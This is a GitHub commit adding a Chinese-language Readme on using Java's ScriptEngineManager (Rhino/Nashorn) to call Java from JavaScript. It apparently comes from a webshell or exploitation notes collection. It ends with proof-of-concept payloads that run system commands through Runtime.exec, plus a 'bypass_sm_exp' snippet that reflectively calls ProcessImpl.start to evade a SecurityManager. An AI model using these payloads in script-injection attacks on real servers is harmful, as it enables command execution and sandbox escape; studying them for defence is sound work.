Skip to content

Commit d2ec38e

Browse files
FirebaskyFirebasky
authored
Create Readme.md
1 parent 754e0ab commit d2ec38e

File tree

1 file changed

+147
-0
lines changed

1 file changed

+147
-0
lines changed

‎shell/ScriptEngineManager/Readme.md‎

Lines changed: 147 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,147 @@
1+
# ScriptEngineManager
2+
3+
Java 6/7采用的js解析引擎是Rhino
4+
5+
java8开始换成了Nashorn。
6+
7+
## 调用Java方法
8+
9+
前面加上全限定类名即可
10+
11+
```js
12+
var s = [3];
13+
s[0] = "cmd";
14+
s[1] = "/c";
15+
s[2] = "whoami";
16+
var p = java.lang.Runtime.getRuntime().exec(s);
17+
var sc = new java.util.Scanner(p.getInputStream(),"GBK").useDelimiter("\\A");//输出
18+
var result = sc.hasNext() ? sc.next() : "";
19+
print(result)
20+
sc.close();
21+
```
22+
23+
## 导入Java类型
24+
25+
```js
26+
var str = java.lang.String;
27+
28+
//这种写法仅仅支持Nashorn，Rhino并不支持。jdk8+
29+
var str = Java.type("java.lang.String");//类型
30+
-----------------------------------------数组--------------------------------
31+
// Rhino
32+
var Array = java.lang.reflect.Array
33+
var intClass = java.lang.Integer.TYPE
34+
var array = Array.newInstance(intClass, 8)
35+
36+
// Nashorn
37+
var str = Java.type("java.lang.String[]");
38+
var IntArray = Java.type("int[]")
39+
var array = new IntArray(8)
40+
```
41+
42+
## 导入Java class
43+
44+
>通过反射可以获得java类
45+
46+
```js
47+
// Rhino
48+
var str = java.lang.String.class;
49+
var impl = java.lang.ProcessImpl.class;
50+
51+
// Nashorn
52+
var str = Java.type("java.lang.String").class;//类型
53+
var impl = Java.type("java.lang.ProcessImpl").class;
54+
```
55+
56+
## 导入Java类
57+
58+
```js
59+
load("nashorn:mozilla_compat.js");
60+
61+
importClass(java.util.HashSet);
62+
var set = new HashSet();
63+
64+
importPackage(java.util);
65+
var list = new ArrayList();
66+
```
67+
68+
在一些特殊情况下，导入的全局包会影响js中的函数，例如类名冲突。这个时候可以用JavaImporter，并配合with语句，对导入的Java包设定一个使用范围。
69+
70+
```js
71+
// create JavaImporter with specific packages and classes to import
72+
73+
var SwingGui = new JavaImporter(javax.swing,
74+
javax.swing.event,
75+
javax.swing.border,
76+
java.awt.event);
77+
with (SwingGui) {
78+
// 在with里面才可以调用swing里面的类，防止污染
79+
var mybutton = new JButton("test");
80+
var myframe = new JFrame("test");
81+
}
82+
```
83+
84+
## 方法调用
85+
86+
方法在JavaScript中实际上是对象的一个属性，所以除了使用 . 来调用方法之外，也可以使用[]来调用方法：
87+
88+
```js
89+
var System = Java.type('java.lang.System');
90+
System.out.println('Hello, World'); // Hello, World
91+
System.out['println']('Hello, World'); // Hello, World
92+
```
93+
94+
## 方法重载
95+
96+
Java支持重载（Overload）方法，例如，System.out 的 println 有多个重载版本，如果你想指定特定的重载版本，可以使用[]指定参数类型。例如：
97+
98+
```js
99+
var System = Java.type('java.lang.System');
100+
System.out['println'](3.14); // 3.14
101+
System.out['println(double)'](3.14); // 3.14
102+
System.out['println(int)'](3.14); // 3
103+
```
104+
105+
## 反射
106+
107+
```js
108+
import javax.script.ScriptEngine;
109+
import javax.script.ScriptEngineManager;
110+
111+
public class main {
112+
public static void main(String[] args) throws Exception {
113+
String poc1 = "var s = [3];\n" +
114+
"s[0] = \"cmd\";\n" +
115+
"s[1] = \"/c\";\n" +
116+
"s[2] = \"whoami\";" +
117+
"var p = java.lang.Runtime.getRuntime().exec(s);\n" +
118+
"var sc = new java.util.Scanner(p.getInputStream(),\"GBK\").useDelimiter(\"\\\\A\");\n" +
119+
"var result = sc.hasNext() ? sc.next() : \"\";\n" +
120+
"print(result);sc.close();";
121+
122+
String bypass_sm_exp = "var str = Java.type('java.lang.String[]').class;" +
123+
"var map = Java.type('java.util.Map').class;" +
124+
"var string = Java.type('java.lang.String').class;" +
125+
"var Redirect = Java.type('java.lang.ProcessBuilder.Redirect[]').class;" +
126+
"var boolean = Java.type('boolean').class;" +
127+
"var c = java.lang.Class.forName('java.lang.ProcessImpl');" +
128+
"var start = c.getDeclaredMethod('start',str,map,string,Redirect,boolean);" +
129+
"start.setAccessible(true);" +
130+
"var anArray = [\"cmd\", \"/c\", \"ipconfig\"];" +
131+
"var cmd = Java.to(anArray, Java.type(\"java.lang.String[]\"));" +
132+
"var input = start.invoke(null,cmd,null,null,null,false).getInputStream();" +
133+
"var reader = new java.io.BufferedReader(new java.io.InputStreamReader(input));" +
134+
"var stringBuilder = new java.lang.StringBuilder();" +
135+
"var line = null;" +
136+
"while((line = reader.readLine())!=null){" +
137+
"stringBuilder.append(line);" +
138+
"stringBuilder.append('\\r\\n');"+
139+
"}" +
140+
"stringBuilder.toString();" +
141+
"print(stringBuilder)";
142+
ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js");
143+
engine.eval(bypass_sm_exp);
144+
}
145+
}
146+
```
147+

0 commit comments

Comments
 (0)